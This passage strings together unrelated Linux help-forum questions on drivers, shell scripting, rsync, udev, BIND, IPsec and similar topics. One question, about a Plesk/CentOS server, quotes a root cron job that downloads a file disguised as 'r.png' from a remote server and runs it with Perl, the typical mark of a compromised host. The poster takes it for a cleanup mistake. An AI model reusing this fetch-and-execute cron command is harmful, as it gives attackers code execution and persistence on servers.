title: Wireless not working after update (Network Unclaimed)

text: I just installed backbox3, during the install im asked to connect to wireless, and it works like a charm, but after i update the system and reboot, i loose wireless... "sudo lshw -C network" gives me:               PCI (sysfs)        *-network                       description: Ethernet interface        product: AR8151 v1.0 Gigabit Ethernet        vendor: Atheros Communications Inc.        physical id: 0        bus info: pci@0000:02:00.0        logical name: eth0        version: c0        serial: 60:eb:69:60:26:51        size: 1Gbit/s        capacity: 1Gbit/s        width: 64 bits        clock: 33MHz        capabilities: pm msi pciexpress vpd bus_master cap_list ethernet physical tp 10bt 10bt-fd 100bt 100bt-fd 1000bt-fd autonegotiation        configuration: autonegotiation=on broadcast=yes driver=atl1c driverversion=1.0.1.0-NAPI duplex=full ip=192.168.87.119 latency=0 link=yes multicast=yes port=twisted pair speed=1Gbit/s        resources: irq:47 memory:9b400000-9b43ffff ioport:2000(size=128)      *-network UNCLAIMED        description: Network controller        product: BCM43225 802.11b/g/n        vendor: Broadcom Corporation        physical id: 0        bus info: pci@0000:03:00.0        version: 01        width: 64 bits        clock: 33MHz        capabilities: pm msi pciexpress bus_master cap_list        configuration: latency=0        resources: memory:9a400000-9a403fff      Im no linux prof. so im pretty lost on what i should do about it?


title: How to customize apache mod_sec log output?

text: I have an apache server which uses mod_security configuration. Those logs are further analyzed and sent out to OSSEC server for intrusion detection and monitoring. That OSSEC server then sends those logs for normalization and advance correlation to SIEM, the parser at SIEM is able to parse quiet a few mod_sec messages but the one particular type message including in the payload > "rx ^%{tx.allowed_request_content_type}$" cannot seemed to be parsed at SIEM system, Instead of changing the parse code at SIEM end which may seems impossible because its closed source, I want to know if there is way to change the logging output much like apache custom log features. The full log payload is shown below:- > Sep 13 13:35:37 ossec-server ossec: Alert Level: 7; Rule: 50118 - Access > attempt blocked by Mod Security.; Location: (WebServer) > 127.0.0.1->/usr/local/apache2/logs/error_log; [Fri Sep 13 13:37:09.190450 > 2013] [:error] [pid 2584:tid 140049089795840] [client 127.0.0.1] > ModSecurity: Access denied with code 403 (phase 1). Match of "rx > ^%{tx.allowed_request_content_type}$" against "TX:0" required. [file > "/usr/local/apache2/conf/modsecurity- > crs/activated_rules/modsecurity_crs_30_http_policy.conf"] [line "64"] [id > "960010"] [rev "2"] [msg "Request content type is not allowed by policy"] > [data "application/octet-stream"] [severity "CRITICAL"] [ver > "OWASP_CRS/2.2.8"] [maturity "9"] [accuracy "9"] [tag > "OWASP_CRS/POLICY/ENCODING_NOT_ALLOWED"] [tag "WASCTC/WASC-20"] [tag > "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/EE2"] [tag "PCI/12.1"] [hostname > "abc.com"] [uri "/"] [unique_id "UjLOtQoKUakAAAoYEh8AAAAO"] Can i specify apache not to log the above highlighted text when writing logs?


title: Why is my download speed a lot lower in Linux than other OS?

text: I had Windows 7 installed on my PC and torrents (all legal) downloaded at a rate of 2MBps. I used uTorrent. I now have Kubuntu 13.04 installed and have kTorrent, which can only achieve speeds of 550KBps even though I know they should be downloading at the rate of 2MBps as I have tested the same downloads with windows, and it achieved those speeds. I installed Ubuntu and Open Suse as well and all achieve the same speed of 550KBps even with different clients (rtorrent, Transmission etc), so why is this happening?


title: Change inside comments with Vim

text: Is there a way to change inside of a comment with Vim? I know you can change inside brackets and quotes with `i]` and `i"`. For example, If you are on a quote you can press, > ci"my new textESC And this will replace the text inside of the quote with the phrase "my new text", but how can I do the same thing with C comments which are enclosed with /* and */?


title: Plesk, Centos server error: Cron <root@...> cd /tmp;curl -s -O http://.../r.png;perl r.png;rm -fr r.png

text: I had the bright idea of clearing some space on the root partition. I thought I was fairly safe from what I have read by removing some of the locale files for Plesk and some of the backup.tar.gz and logs.tar.gz but I must have removed something by accident. I have looked back at the message and although I have removed the addresses and any IP's the location its trying to download the file from is on another server. I have looked through the message header and it is coming from the root account to the root account. I don't normally take care of this but the usual guy is away for a couple of weeks. Any help would be greatly appreciated and if you need any more information from me please let me know. Thanks in advance               Bareword found where operator expected at r.png line 3, near "403 Forbidden"         (Missing operator before Forbidden?)     Bareword found where operator expected at r.png line 4, near "</head"       (Might be a runaway multi-line // string starting on line 3)         (Missing operator before head?)     Bareword found where operator expected at r.png line 6, near "<p>You don't have permission to access /r"       (Might be a runaway multi-line // string starting on line 5)         (Missing operator before r?)     Bareword found where operator expected at r.png line 9, near "<address>Apache"         (Missing operator before Apache?)     Bareword found where operator expected at r.png line 9, near ") Server"         (Missing operator before Server?)     Bareword found where operator expected at r.png line 9, near "IP ADDRESS Port"         (Missing operator before Port?)     Number found where operator expected at r.png line 9, near "Port 80"         (Do you need to predeclare Port?)     Bareword found where operator expected at r.png line 10, near "</body"       (Might be a runaway multi-line // string starting on line 9)         (Missing operator before body?)     syntax error at r.png line 2, near "html>"     Execution of r.png aborted due to compilation errors.


title: How do I manually modify an inode?

text: I am using Ubuntu Linux and, just for fun, I want to create a hardlink to a directory (as seen here). Because I'm just doing this for fun, I'm not looking for any sort of pre-developed directory-hardlinking software that someone else wrote, I want to know how to do it myself. So, how do I directly, manually, modify an inode? Ideally I would like the answer as a Linux command that I can run from the Bash command line, but if there is no way to do it from there I would also accept information on how to do it in C or (as a last resort) assembly.


title: Fedora 16 fails to boot after Win7 installed a GPT Drive

text: So, I have Windows 7 and Fedora 16 installed on my old HDD. Everything worked well and fine before I've had my new 3TB drive built in, which I initialized as GPT in Windows. Actually I initialized 1,5TB - the rest remains untouched. After that Fedora won't boot up anymore. Instead it prompts me to maintenance mode, showing something like:               [...]/sbin/blkid -o udev -p /dev/sda[number] [...] terminated by signal 15 (Terminated)      Whenever I press Ctrl+D it shows one or multiple messages similar to that. Using               parted /dev/sdb print      shows that the drive as such is recognized as GPT. It also shows up in /etc/fstab. Using older kernels results in the same problem. What should I do ? Edit: I initialized the remaining ~1,5TB in Windows - nothing changed.


title: GPU computing without X?

text: I am attempting to run GPU computation software on Ubuntu Server 12.04 without X since this box is going to be a dedicated computation machine. However the last requirement "Without X" is proving to be very problematic. I have a ATI Radeon HD 5770 hooked up right now. Installed the x64 drivers from AMD's website by having it generate the correct debian packages. Ran `sudo aticonfig --initial --adapter=all` and rebooted. However it doesn't seem like its working               adam@adamcrunch:~$ DISPLAY=:0 fglrxinfo     Error: unable to open display (null)     adam@adamcrunch:~$ sudo aticonfig --list-adapter     * 0. 01:00.0 ATI Radeon HD 5700 Series          * - Default adapter      My software is also having issues as it just won't use the GPU for computation and tries to use the CPU. I know during my initial install with Xubuntu that the card works and I can do GPU computation on it. However is it possible to do it on a headless server without X? I can provide more information if needed


title: Save password in bash script for multiple queries

text: I would like to know if there is a safe way to only be queried for a password once in a custom bash script, and then save it somehow to be used for later needs. At the end of the script it should be shredded in some way so it wont not recoverable from memory or in any other way.


title: Creating a Bash script that will execute a program and if it exits without crashing, will run it again

text: I'd like to know the easiest way of creating a bash script that will run an app in MacOSX (it's a UNIX based system so I assumed this was the right place). wait for the program to exit. If the exit wasn't a crash, run it again. Otherwise leave the crash report window open and exit. I'd like this script to run forever until either the crash or manual termination. I've a vague idea but not sure. Here is what I have so far:               echo "Launching Autorun…"          if ["$1" -eq "0"]; then     # Application exited successfully. Restarting.     /path/to/application.app     else     # An error occured. Do nothing and exit.         exit     fi


title: Adjusting rsync TCP timeout

text: I'm using rsync in my own C++ program by issueing the command `system("rsync -rauzvq root@host:/folder");` I use this for keeping multiple systems in sync. Now I have the problem that when a remote host shuts off and there it was still rsync-ing with my program, my program hangs for the period of the TCP timeout. So I thought, I would adjust the TCP timeout parameter for the rsync socket, but I can't figure out how (--sockopts isn't working). Another way of fixing this would involve making a forked system call and check whether the rsync pID still exists after a certain timeout, otherwise kill it. Only downside on this is that I can't check whether the process is genuinely syncing or just hanging on a TCP timeout? So, what would you guys try?


title: KDE not loading without nomode tag in grub and bad resolution

text: I recently installed Linux Mint 13 KDE but it's not working fine. At first I had to use failsafe mode to boot because normal boot takes to a textual login. If I use normal boot and text login I'm not able to run KDE nor with kdm start neither with startx. kdm says that's already running. Instead X is not able to run because can't connect Xserver to display. If I stop kdm and starx again doesn't change anything. Now I edited the grub to load in nomode. In that way KDE loads but resolution is wrong and xrandr doesn't help, because if I do this:               cvt 1366 768      it changes it to 1368:               # 1368x768 59.88 Hz (CVT) hsync: 47.79 kHz; pclk: 85.25 MHz     Modeline "1368x768_60.00"   85.25  1368 1440 1576 1784  768 771 781 798 -hsync +vsync      I also installed bumblebee and nvidia drivers because of optimus technology.. It worked just to have fun with glxspheres but there isn't any gain on KDE.. This is lspci output:               fabio@fabio-EasyNote-TS11HR ~ $ lspci |grep VGA     00:02.0 VGA compatible controller: Intel Corporation 2nd Generation Core Processor Family Integrated Graphics Controller (rev 09)     01:00.0 VGA compatible controller: NVIDIA Corporation GF108 [GeForce GT 540M] (rev ff      My notebook is an EasyNote TS with NVIDIA GeForce GT 540M. Thank you in advance to anyone that may help!


title: Relocatable emacs

text: Is there a way to build emacs on Linux so it doesn't embed the path where it was built into the binary, and it can be relocated harmlessly to a different path? That is, if you build with `\--prefix=/a/b/c` then move everything to `/d/e/f` it won't run, because it depends on the fixed path `/a/b/c`. I see the string `/a/b/c` inside the binary itself. Windows emacs can be installed to any directory and it runs from there just fine, so it makes me think you can tell Linux emacs to run the same way, from "wherever you are sitting now". We have no options like a fixed name symlink up the directory tree pointing to the variable path below it.


title: Is there any suggestion to my bash script that (un)mounts an ISO file in order to make it better and safer?

text: I am new to bash script, and I wrote a script to `mount` / `umount` an iso file by detecting whether the `/media/iso-file-name` exists. Is there any suggestion for the script as below in order to make it better and safer?               #!/bin/bash          Mountpoint="/media/$(basename "$*")"          if [ -d "$Mountpoint" ]     then         while [ -d "$Mountpoint" ]         do             umount "$Mountpoint"             rmdir "$Mountpoint"             sleep 3         done     else         mkdir "$Mountpoint"         mount -t iso9660 -o loop "$*" "$Mountpoint"     fi


title: xrdp - Cannot connect from OSX

text: I just installed Centos 6.5 and put xrdp on it. I set up my iptables to allow it, and I can connect fine (both over local network and over the internet) from Windows 7, iOS, Android (using the official Microsoft RDP app for all three), and Linux (rdesktop). However, when I try to connect from OSX, I get the following error: ![enter image description here](http://i.stack.imgur.com/amMPs.png) Is there some reason this is only happening from OSX? I did a vanilla install of xrdp (no special settings).


title: How can I use an ACL in BIND to forward requests per zone selectively?

text: I have some zones declared internally as forwards to another DNS, but there is a hefty amount of IP space we do not want to be forwarded in this manner for these zones. These forwards are for very specific zone declarations and I'm not certain if there even is a way to use an ACL for this. Any help would be greatly appreciated. Edit, here's an example using example.com: acl "forwardees" { 10.0.0.0/8; }; zone "example.com" in { type forward; forwarders { 1.2.3.4; }; }; * * * When doing a lookup of example.com, I would want only members of forwardees to get forwarded to 1.2.3.4. If you are not a member of forwardees, I would want it to be as if that zone entry doesn't exist and a recursive should be done. Hopefully that spells it out better than I could word it myself.


title: print only rows that has latest non empty cell that starts with the word "Failed" on a CSV file in Linux

text: I want to print the table only if non-empty latest column that starts with the word "Failed"on a CSV file in Linux.. My input -               Name,Mon,Tue,Wed,Thu,Fri,Mon     Linux,Successfull Fullbackup; Failed Fullbackup,,,,,Failed Fullbackup     Unix,,,,Failed Fullbackup,,     Windows,Failed Fullbackup,Failed Fullbackup,Failed Fullbackup,Failed Fullbackup,Failed Fullbackup,Successfull Fullbackup     MAC,Failed Fullbackup,Failed Fullbackup,Failed Fullbackup,Failed Fullbackup,Failed Fullbackup,Failed Fullbackup     Solaris,Failed Fullbackup,Failed Fullbackup,Failed Fullbackup,Successfull Fullbackup; Failed Fullbackup,, My output should be:               Name,Mon,Tue,Wed,Thu,Fri,Mon     Linux,Successfull Fullbackup; Failed Fullbackup,,,,,Failed Fullbackup     Unix,,,,Failed Fullbackup,,     MAC,Failed Fullbackup,Failed Fullbackup,Failed Fullbackup,Failed Fullbackup,Failed Fullbackup,Failed Fullbackup


title: Sudo su issue on ubuntu 14.04 lts: /root/zsh can't not be found

text: I have recently re-installed ubuntu 14.04 lts and I installed my favorite shell (zsh) but I am having an issue now. When I type, `sudo su` it comes back with an error stating `/root/zsh` can not be found. I am not sure what I need to do to fix this as this is the first time I have had this error when using this system. Also when I do, `sudo chsh -s /bin/zsh` I get               PAM_AUTHENTICATION failed      Any help would be appreciated.


title: How to give user root permissions?

text: I just installed Arch. Works great. I created a new user, logged in with it and now I'm trying to install several thing with pacman. But I keep getting the error: `error: you cannot perform this operation unless you are root.` I can use pacman with root just fine, but it there a way to allow my new user to perform these actions? I tried logging into root and using gpasswd: `gpasswd -a jack root` but that didn't do anything.


title: xclip does not change the clipboard content

text: I'm trying to give the following command:               echo "hi" | xclip -selection c      This doesn't work? It has worked in the past, but never consistently. I also tried               echo "hi" | xclip -selection primary          echo "hi" | xclip -selection clipboard      etc.... xclip is installed (I'm pretty familiar with Linux :-) ) and there is no output, it just moves onto the next line and my clipboard contents do not change. Here is my linux version:               [1450] cgeorge@uaf-7 $ cat /proc/version     Linux version 2.6.18-371.1.2.el5 (mockbuild@builder10.centos.org) (gcc version 4.1.2 20080704 (Red Hat 4.1.2-54)) #1 SMP Tue Oct 22 12:51:53 EDT 2013


title: CPU Frequency Scaling Monitor: No passwd, all cores at once

text: I use **MATE 1.6.2** and **CPU Frequency Scaling Monitor 1.6.2**. I would like two things:   1. Get rid of the need of the `root` password to change the CPU settings.   2. To affect all cores at once. The problem is that my current work-flow is very inconvenient: (1) change the settings of one core, (2) fill in the root password, (3) click each of my 4 cores to change the settings. My setup:               Intel(R) Core(TM) i5-4200M Haswell CPU @ 2.50GHz (2 cores, 4 threads)     Linux 3.15.8-200.fc20.x86_64     Fedora release 20 (Heisenbug)     Toshiba Satellite C55     MATE 1.6.2


title: Error Restoring Virtual Machine

text: I've gotten an error restoring a virtual machine. How should I resolve / troubleshoot this error: > Error restoring domain: internal error Device 001:004 is already in use


title: Removing files that do not exist

text: I apologize for the possibly misleading title, but it is the best way I could think of to describe the problem, which is: I have several files that I can `cat`, but when I try to `rm` them I get a "No such file or directory" error.               $ cat "A11 D5 D5.txt"     ... OUTPUT ...     $ rm -f "A11 D5 D5.txt"     rm: cannot remove `A11 D5 D5.txt': No such file or directory      I've tried overwriting the file and can execute the remove without error, but the file is still there; I can still cat the file.               $ echo "Boom" > "A11 D5 D5.txt"     $ cat "A11 D5 D5.txt"     Boom     $ rm -f "A11 D5 D5.txt"     $ cat "A11 D5 D5.txt"     Boom     $ rm -f "A11 D5 D5.txt"     rm: cannot remove `A11 D5 D5.txt': No such file or directory      I'm at a complete loss. I suspect a reboot would fix the problem, but I am really more interested in why such a thing would happen. Some sort of filesystem problem? (I don't have reboot privileges for the system; it's a university cluster.) **Edit:** I get the following output               $ ls     A11 D5 D5.txt     $ ls -b     A11\ D5\ D5.txt     $ printf '<%q>\n'     <''>      I've also `stat`ed the file (just in case):               $ stat A11\ D5\ D5.txt        File: `A11 D5 D5.txt'       Size: 5               Blocks: 8          IO Block: 131072 regular file     Device: 1bh/27d Inode: 18446744068941111933  Links: 1     Access: (0644/-rw-r--r--)  Uid: (  596/  <username>)   Gid: ( 1015/<group>)     Access: 2012-12-09 22:48:29.000000000 -0600     Modify: 2012-12-09 22:56:44.835662498 -0600     Change: 2012-12-09 22:56:44.835662498 -0600      **Edit 2:** The filesystem is apparently of type "fuse" and               $ ls -lb A11\ D5\ D5.txt     -rw-r--r-- 1 <username> <group> 5 Dec  9 22:56 A11\ D5\ D5.txt


title: Trying to Utime via FTP

text: I am connecting to my server via FTP (that is the only way I have access to this server in particular). I need to utime a command via FTP to the server. Other commands work but when I try something like               site for file in *;do utime 20120101084400 ${file}; done;      to change all dates in a given directory, I receive an error that says **usage: form format** or **invalid command** depending on the variation of that command I try. I tried this command (without the site part) on my local unix and it works but not remotely via FTP. How do I do that? If there's a way to do that recursively it will be a bonus... :) thanks.


title: What to include in an RPM created from python packages

text: I'm looking to create a rpm for this tarball and couldn't figure out which files needed to be included in the package after the install. I am used to compiling some code and including the binary output; however, since this is all python and seems to use `distutils` to install everything is there even bin/executable to include in the package? I thought distutils just adds the module to the appropriate 3rd party python modules dir on the target machine. If I use:               %install     make install DESTDIR=%{buildroot}      what would be the appropriate output to include in the rpm package, i.e., under `%files`? I came across an already made .spec file here which which seemed to include the entire `/usr/bin` (`rpm --eval %{_bindir}` expands to `/usr/bin` on my machine) directory which seemed excessive.


title: How to use " rm !(*keyword) in bash 4.1.2?

text: I got bash 4.1.2 on remote centos machine. When using my favorite               rm !(*keyword)      I got               bash: !: event not found      I tried to upgrade its bash, but seems the edition remains after upgrade. The same code works well on my bash 4.3.11 on local Ubuntu machine. How to use that command in this Bash version(4.1.2)?


title: automatic suspend does not work in Gnome

text: I have configured automatic suspend in Settings->Power, then one hour later nothing happen when the suspend time came. I checked the internet for some information and found there is a bug in Gnome 3.1x (see http://forums.fedoraforum.org/showthread.php?t=297092). How can I work around this?


title: How to view Flash and other videos on Linux systems?

text: I'm running Fedora 17 and Firefox 12. When I navigate to some sites I'm unable to view videos because I'm missing some plugin. When I click 'installl missing plugin' I'm still not able to view the video. Any idea I can view them without installing Flash Player (not Open Source I believe)? What directory are these web plugins stored?


title: Understand output of `udevadm info -a -n /dev/sdb`

text: I plug an external HDD into my laptop. I try to find out the information by               $ udevadm info -a -n /dev/sdb          Udevadm info starts with the device specified by the devpath and then     walks up the chain of parent devices. It prints for every device     found, all possible attributes in the udev rules key format.     A rule to match, can be composed by the attributes of the device     and the attributes from one single parent device.            looking at device '/devices/pci0000:00/0000:00:1d.7/usb2/2-1/2-1:1.0/host10/target10:0:0/10:0:0:0/block/sdb':         KERNEL=="sdb"         SUBSYSTEM=="block"         DRIVER==""         ATTR{range}=="16"         ATTR{ext_range}=="256"         ATTR{removable}=="0"         ATTR{ro}=="0"         ATTR{size}=="312581808"         ATTR{alignment_offset}=="0"         ATTR{discard_alignment}=="0"         ATTR{capability}=="50"         ATTR{stat}=="     322    11207    13259     2196        2        0       16        0        0     1524     2196"         ATTR{inflight}=="       0        0"         ATTR{events}==""         ATTR{events_async}==""         ATTR{events_poll_msecs}=="-1"            looking at parent device '/devices/pci0000:00/0000:00:1d.7/usb2/2-1/2-1:1.0/host10/target10:0:0/10:0:0:0':         KERNELS=="10:0:0:0"         SUBSYSTEMS=="scsi"         DRIVERS=="sd"         ATTRS{device_blocked}=="0"         ATTRS{type}=="0"         ATTRS{scsi_level}=="0"         ATTRS{vendor}=="USB 2.0 "         ATTRS{model}=="Storage Device  "         ATTRS{rev}=="0100"         ATTRS{state}=="running"         ATTRS{timeout}=="30"         ATTRS{iocounterbits}=="32"         ATTRS{iorequest_cnt}=="0x165"         ATTRS{iodone_cnt}=="0x165"         ATTRS{ioerr_cnt}=="0x2"         ATTRS{evt_media_change}=="0"         ATTRS{dh_state}=="detached"         ATTRS{queue_depth}=="1"         ATTRS{queue_type}=="none"         ATTRS{max_sectors}=="240"            looking at parent device '/devices/pci0000:00/0000:00:1d.7/usb2/2-1/2-1:1.0/host10/target10:0:0':         KERNELS=="target10:0:0"         SUBSYSTEMS=="scsi"         DRIVERS==""            looking at parent device '/devices/pci0000:00/0000:00:1d.7/usb2/2-1/2-1:1.0/host10':         KERNELS=="host10"         SUBSYSTEMS=="scsi"         DRIVERS==""            looking at parent device '/devices/pci0000:00/0000:00:1d.7/usb2/2-1/2-1:1.0':         KERNELS=="2-1:1.0"         SUBSYSTEMS=="usb"         DRIVERS=="usb-storage"         ATTRS{bInterfaceNumber}=="00"         ATTRS{bAlternateSetting}==" 0"         ATTRS{bNumEndpoints}=="02"         ATTRS{bInterfaceClass}=="08"         ATTRS{bInterfaceSubClass}=="06"         ATTRS{bInterfaceProtocol}=="50"         ATTRS{supports_autosuspend}=="1"            looking at parent device '/devices/pci0000:00/0000:00:1d.7/usb2/2-1':         KERNELS=="2-1"         SUBSYSTEMS=="usb"         DRIVERS=="usb"         ATTRS{configuration}==""         ATTRS{bNumInterfaces}==" 1"         ATTRS{bConfigurationValue}=="1"         ATTRS{bmAttributes}=="c0"         ATTRS{bMaxPower}=="  0mA"         ATTRS{urbnum}=="1076"         ATTRS{idVendor}=="0402"         ATTRS{idProduct}=="5621"         ATTRS{bcdDevice}=="0103"         ATTRS{bDeviceClass}=="00"         ATTRS{bDeviceSubClass}=="00"         ATTRS{bDeviceProtocol}=="00"         ATTRS{bNumConfigurations}=="1"         ATTRS{bMaxPacketSize0}=="64"         ATTRS{speed}=="480"         ATTRS{busnum}=="2"         ATTRS{devnum}=="8"         ATTRS{devpath}=="1"         ATTRS{product}=="USB 2.0 Storage Device"         ATTRS{serial}=="00042222200000064007"            looking at parent device '/devices/pci0000:00/0000:00:1d.7/usb2':         KERNELS=="usb2"         SUBSYSTEMS=="usb"         DRIVERS=="usb"         ATTRS{configuration}==""         ATTRS{bNumInterfaces}==" 1"         ATTRS{bConfigurationValue}=="1"         ATTRS{bmAttributes}=="e0"         ATTRS{bMaxPower}=="  0mA"         ATTRS{urbnum}=="382"         ATTRS{idVendor}=="1d6b"         ATTRS{idProduct}=="0002"         ATTRS{bcdDevice}=="0302"         ATTRS{bDeviceClass}=="09"         ATTRS{bDeviceSubClass}=="00"         ATTRS{bDeviceProtocol}=="00"         ATTRS{bNumConfigurations}=="1"         ATTRS{bMaxPacketSize0}=="64"         ATTRS{speed}=="480"         ATTRS{busnum}=="2"         ATTRS{devnum}=="1"         ATTRS{devpath}=="0"         ATTRS{version}==" 2.00"         ATTRS{maxchild}=="6"         ATTRS{quirks}=="0x0"         ATTRS{avoid_reset_quirk}=="0"         ATTRS{authorized}=="1"         ATTRS{manufacturer}=="Linux 3.2.0-27-generic-pae ehci_hcd"         ATTRS{product}=="EHCI Host Controller"         ATTRS{serial}=="0000:00:1d.7"         ATTRS{authorized_default}=="1"            looking at parent device '/devices/pci0000:00/0000:00:1d.7':         KERNELS=="0000:00:1d.7"         SUBSYSTEMS=="pci"         DRIVERS=="ehci_hcd"         ATTRS{vendor}=="0x8086"         ATTRS{device}=="0x293a"         ATTRS{subsystem_vendor}=="0x17aa"         ATTRS{subsystem_device}=="0x20f1"         ATTRS{class}=="0x0c0320"         ATTRS{irq}=="19"         ATTRS{local_cpus}=="ff"         ATTRS{local_cpulist}=="0-7"         ATTRS{dma_mask_bits}=="32"         ATTRS{consistent_dma_mask_bits}=="32"         ATTRS{broken_parity_status}=="0"         ATTRS{msi_bus}==""         ATTRS{companion}==""         ATTRS{uframe_periodic_max}=="100"            looking at parent device '/devices/pci0000:00':         KERNELS=="pci0000:00"         SUBSYSTEMS==""         DRIVERS==""      I wonder what "the chain of parent devices" is, implied by the output? I don't quite understand what following each `looking at (parent) device` means. For example, Is the first one my external HDD? What are the rest? Why are all except the last two have "usb" within '...'? Is the one next to the last PCI slots? What is the last one that is so empty, although having `pci` in its name? Does "walk up" mean from the external HDD to CPU? Thanks!


title: command line friendly search engine, for use with Links

text: Are there any search engines that are friendly enough to be used in Links? Perhaps a google proxy that has no clutter, I find that Google takes a lot of navigating through the mass of links before being able to put cursor in the search bar, bing a little less, duck duck go is almost there but search results work better in google in my opinion. Is there a better search engine I can use or maybe something I can do in Links to get to the seach box faster, currently using arrow keys.


title: Compiler flags for mplayer2 to optimize it for old hardware

text: I just compiled `mplayer2` from source (`git://git.mplayer2.org/mplayer2-build.git`) because the repository (ubuntu 12.04) version didn't work on my system. Since I have old hardware I was just wondering if there are some compiler flags I could use to optimize it for my hardware. The CPU is an Athlon XP 2200+ (mobile), 1GB RAM, graphics: Nvidia GeForce4 420 Go. I also want to do the same on another old system with similar specs: CPU: Athlon 1,2 GHZ, 1GB RAM, graphics: [SiS] 65x/M650/740


title: Getting "Protocol not supported" from setkey: why?

text: I'm trying to setup an IPsec connection between two Linux systems. I've enabled the kernel options mentioned on the IPsec Howto. I've setup a `setkey` script like this:               #! /usr/sbin/setkey -vf     add 192.168.210.1 192.168.210.2 esp 24501 -E 3des-cbc  "123456789012123456789012";     add 192.168.210.1 192.168.210.2 ah 24500 -A hmac-md5 "1234567890123456";      The results come back with "Protocol not supported" (details below). I've double checked the kernel settings using `/proc/config.gz`: Every one of the options mentioned in the howto has a 'y'. What else might I be missing?               # /flash/ipsec      sadb_msg{ version=2 type=3 errno=0 satype=3       len=16 reserved=0 seq=0 pid=23105     sadb_ext{ len=4 type=9 }     sadb_key{ bits=192 reserved=0       key= 03000500 ff200000 02000000 44f2adbf 00000000 00000000 }     sadb_ext{ len=2 type=1 }     sadb_sa{ spi=24501 replay=0 state=0       auth=0 encrypt=3 flags=0x00000040 }     sadb_ext{ len=2 type=19 }     sadb_x_sa2{ mode=0 reqid=0       reserved1=52 reserved2=2 sequence=1076530488 }     sadb_ext{ len=3 type=5 }     sadb_address{ proto=255 prefixlen=32 reserved=0x0000 }     sockaddr{ len=16 family=2 port=0      44f2adbf  }     sadb_ext{ len=3 type=6 }     sadb_address{ proto=255 prefixlen=32 reserved=0x0000 }     sockaddr{ len=16 family=2 port=0      b86ae316  }          sadb_msg{ version=2 type=3 errno=93 satype=3       len=2 reserved=0 seq=0 pid=23105          The result of line 2: Protocol not supported.     sadb_msg{ version=2 type=3 errno=0 satype=2       len=15 reserved=0 seq=0 pid=23105     sadb_ext{ len=3 type=8 }     sadb_key{ bits=128 reserved=0       key= 02000000 44f2adbf 00000000 00000000 }     sadb_ext{ len=2 type=1 }     sadb_sa{ spi=24500 replay=0 state=0       auth=2 encrypt=0 flags=0x00000040 }     sadb_ext{ len=2 type=19 }     sadb_x_sa2{ mode=0 reqid=0       reserved1=52 reserved2=2 sequence=1076530488 }     sadb_ext{ len=3 type=5 }     sadb_address{ proto=255 prefixlen=32 reserved=0x0000 }     sockaddr{ len=16 family=2 port=0      44f2adbf  }     sadb_ext{ len=3 type=6 }     sadb_address{ proto=255 prefixlen=32 reserved=0x0000 }     sockaddr{ len=16 family=2 port=0      b86ae316  }          sadb_msg{ version=2 type=3 errno=93 satype=2       len=2 reserved=0 seq=0 pid=23105          The result of line 3: Protocol not supported.     #


title: How to remove GNOME 3 and restore GNOME 2

text: I am on Debian Squeeze. In over-enthusiasm I added an experimental repo and installed GNOME 3 (here is the evil discussion on installing GNOME 3 http://forums.debian.net/viewtopic.php?f=6&t=60481) and now I am awe and shock to see only GNOME 3 as available desktop session apart from failsafe :( I know I did a total stupid thing but now, is it possible to remove Gnome3? And is it possible to have both GNOME 3 and GNOME 2 both on my box? FYI, I tried `aptitude remove` but it didn't help.


title: How to make Wi-Fi work on Dell Inspiron 14R laptop running Ubuntu 12.10?

text: I have seen that on most Dell laptops running Ubuntu 12.04 or 12.10, the Wi-Fi doesn't work. It appears the reason for this is the fact that Dell laptops have Broadcom wireless cards. How to make it work?


title: Change the time format for the touch command in BSD

text: I am wondering how to change the time format when I am modifying a time with the touch command in the c shell. For example I need to use               touch -a -t 051512002015 file.txt      This will change the access time to May 15th 2015, 12:00. What I want to do though is (notice year is first now)               touch -a -t 201505151200 file.txt      This is how touch works in Linux. I use UnxUtils on Windows, which I am almost sure uses c-shell touch. I want the commands to be consistent. Is it possible to change the c-shell touch command?


title: Is there an excellent tutorial on how to resize a rootfs partition (and shrink another) on a drive that is 100% allocated?

text: I'm experiencing the all-too-common "root partition full" situation. 100% of my hard drive is allocated. My home (ext4) partition has plenty of space to give up for my full root partition (rootfs). Is there an amazing step by step tutorial out there for this type of a scenario where the root partition (rootfs) needs to be expanded after shrinking an ext4 partition (my home partition)?


title: Find biggest files or directories

text: Which command will print the sizes of all files and directories in the tmp directory (including hidden ones) and sort them by sizes from largest to smallest in human readable format (e.g. 2 GB)? The output could be as follows:               file.mpg 2GB     file.avi 1.8GB     .backtup 1.7 GB (this is directory)      I tried to use the `ls` and `du` commands but was not able to find the right switches.


title: service to start on boot doesn't work with update-rc.d comand

text: I have installed redis server on my ubuntu based server, so I can start/stop/restart redis server, the redis_server.sh is already in the /etc/init.d. Now I want to make redis start on boot, I learned from website that by working the update_rc.d command, I can add / remove the service on boot. I tried the update-rc.d to add startup on boot, which does't work               root@ip-172-31-4-108:/etc/init.d# update-rc.d redis-server defaults     //System start/stop links for /etc/init.d/redis-server already exist.      In addition, there are some services I don't want to startup on boot, so I tried               root@ip-172-31-4-108:/etc/init.d# update-rc.d reids_6379 remove      Removing any system startup links for /etc/init.d/reids_6379 ...      But when rebooting next time, I still see that service running on boot.


title: problem with rsync. forgot the ending dot and can't find beackupfiles now

text: I am new with linux and tried to backu my files doing this:               rsync -arvu /home /etc /opt /var      I was in the desired directory (on an external hard-disk drive) and logged in as su. but no files where in my directory after that. And Ubuntu told me that my hard-dsik is full ... absolutely full... 0 Bytes left. then I did (with the dot in the end) this:               rsync -arvu /home /etc /opt /var .      and all worked fine... **BUT** my hard space (not the external one) is absolutely full now. **WHERE did rsync put the files of the first try? how can I remove them? ... HEELP! :-)**


title: Make `most` pager properly handle colours from standard‑input

text: How do I make the `most` pager properly display colours in text received from standard‑input? Note: I'm not sure whether or not it's a bug in `most`. I am not encountering the same issue with `less` and `more`, only with `most`, which otherwise works nicely as a pager used by `man`. I'm not posting an image, and invite people to try this (only if you have `most` installed):               $ command apropos zip | command grep --color=always zip | command less     $ command apropos zip | command grep --color=always zip | command more     $ command apropos zip | command grep --color=always zip | command most      `less` and `more` properly display colours, while `most` displays colours with additional “garbage” `^[[K` wrapping all coloured text areas. Surprisingly, this is OK:               $ (export PAGER=most; command man zip)      Am I missing something (the manual page for `most` did not help), misusing the command or is this something which I should report as a bug? ## A note on `less` (update): As Sparhawk mentioned in a comment, `less` does not work either if it's not given the option `-R` (or `\--RAW-CONTROL-CHARS`) or `-r` (or `\--raw-control- chars`), which may also be set in the `LESS` environment variable. And indeed, I first searched for a similar option for `most` (but failed to find one). ## Update All have issues with coloured UTF‑8 encoded text, not just `most`. In my case, the terminal is fine with it, so that's not the terminal. The same 